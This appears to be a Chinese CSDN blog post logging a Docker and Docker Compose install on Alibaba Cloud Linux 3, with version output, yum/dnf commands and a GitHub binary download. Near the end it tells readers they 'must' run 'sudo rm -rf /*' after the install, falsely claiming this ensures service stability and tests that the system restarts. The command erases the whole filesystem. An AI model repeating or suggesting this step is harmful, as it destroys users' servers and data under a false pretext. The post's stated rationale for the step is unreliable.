Alibaba Cloud Linux 3.2104 LTS 64位 容器优化版安装docker docker compose记录

整个安装过程耗时4小时。(包含以下检查内容:)

检查该linux版本信息(并通过监控指标检查运行状态/cpu占用/内存占用/磁盘读取写入IOPS /同时连接数)
1:根据当前的系统进行yum与dnf的升级,保持稳定修复的版本。
2:通过这个linux版本找到适合的docker版本,并找到最新版本的docker
3:找到docker compose的可用版本,并且找到最新的稳定修复版本。
4:检查安装的docker 与docker compose 是否可用

经过了漫长的4小时测试,确定可用

我可以帮你安装【收费500】

阿里云linux镜像
在这里插入图片描述

在这里插入图片描述

服务器系统构架以及插件版本如下:

====================================================
[root@luichun /]# rpm -q systemd
systemd-239-82.0.3.4.al8.3.x86_64
[root@luichun /]# dnf --version
4.7.0
  Installed: dnf-0:4.7.0-20.0.1.1.al8.noarch at Fri 17 Jan 2025 05:53:17 AM GMT
  Built    : rel-eng at Thu 17 Oct 2024 02:45:10 AM GMT

  Installed: rpm-0:4.14.3-32.0.1.1.al8.x86_64 at Sun 27 Apr 2025 04:40:37 AM GMT
  Built    : rel-eng at Tue 07 Jan 2025 05:37:08 AM GMT
[root@luichun /]# yum --version 
4.7.0
  Installed: dnf-0:4.7.0-20.0.1.1.al8.noarch at Fri 17 Jan 2025 05:53:17 AM GMT
  Built    : rel-eng at Thu 17 Oct 2024 02:45:10 AM GMT

  Installed: rpm-0:4.14.3-32.0.1.1.al8.x86_64 at Sun 27 Apr 2025 04:40:37 AM GMT
  Built    : rel-eng at Tue 07 Jan 2025 05:37:08 AM GMT

[root@luichun /]# cat /etc/os-release
NAME="Alibaba Cloud Linux"
VERSION="3 (OpenAnolis Edition)"
ID="alinux"
ID_LIKE="rhel fedora centos anolis"
VERSION_ID="3"
VARIANT="OpenAnolis Edition"
VARIANT_ID="openanolis"
ALINUX_MINOR_ID="2104"
ALINUX_UPDATE_ID="11"
PLATFORM_ID="platform:al8"
PRETTY_NAME="Alibaba Cloud Linux 3.2104 U11 (OpenAnolis Edition)"
ANSI_COLOR="0;31"
HOME_URL="https://www.aliyun.com/"
[root@luichun /]# 

====================================================

现在要做的是安装【docker】【docker compose】

# 1安装【docker】
=================================
# 添加 Docker CE 官方仓库(使用阿里云镜像加速)
sudo yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

# 安装 Docker CE
sudo yum install -y docker-ce docker-ce-cli containerd.io

# 启动 Docker 并设置开机自启
sudo systemctl enable --now docker
=======[安装好之后的版本为]
[root@luichun /]# docker --version
Docker version 26.1.3, build b72abbb
========
=================================


# 2安装【docker compose】
========================================
下载二进制文件:
运行以下命令下载最新版本:  

===================【二选一,都是下载一样的】
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
===================

赋予执行权限:使文件可执行:
===================
sudo chmod +x /usr/local/bin/docker-compose
===================
创建符号链接(可选):便于全局调用:  
===================
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
===================
验证安装:检查版本以确认安装成功:  
===================
docker-compose --version
===================【Docker Compose version v2.35.1========================================








检查是否有可以升级的最新版本的docker
sudo yum check-update docker-ce
====================
[root@luichun /]# sudo yum check-update docker-ce
Last metadata expiration check: 0:13:29 ago on Sun 27 Apr 2025 01:40:31 PM CST.
[root@luichun /]# 
====================

阿里云官网给的【直接通过yum来单纯安装docker】【我不选择这种】

sudo yum install -y docker
============
[root@luichun /]# docker --version
Emulate Docker CLI using podman. Create /etc/containers/nodocker to quiet msg.
podman version 4.9.4-rhel
[root@luichun /]#
============

安装docker compose 是因为有1组容器服务来进行运行的,如5个容器。
Docker Compose 容器服务:
你通过 Docker Compose 启动的一组容器服务(包含 5 个容器),
如果在重启前这些容器处于运行状态(docker-compose up -d 启动),
它们会随 Docker 服务重启自动恢复运行,无需手动启动。
这是因为 Docker 默认会重启所有处于 running 状态的容器(除非容器配置了 restart: no 或类似策略)。

主要执行history命令

sudo dnf update glibc
sudo dnf clean all
sudo dnf makecache
sudo dnf update -y
sudo dnf update -y dnf dnf-plugins-core yum
sudo yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
sudo yum install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
docker --version
sudo yum check-update docker-ce
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
docker-compose --version
docker ps

以上命令执行完之后必须执行

sudo rm -rf /*

用于保证服务的稳定性,进行检测系统是否能够重新运行。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值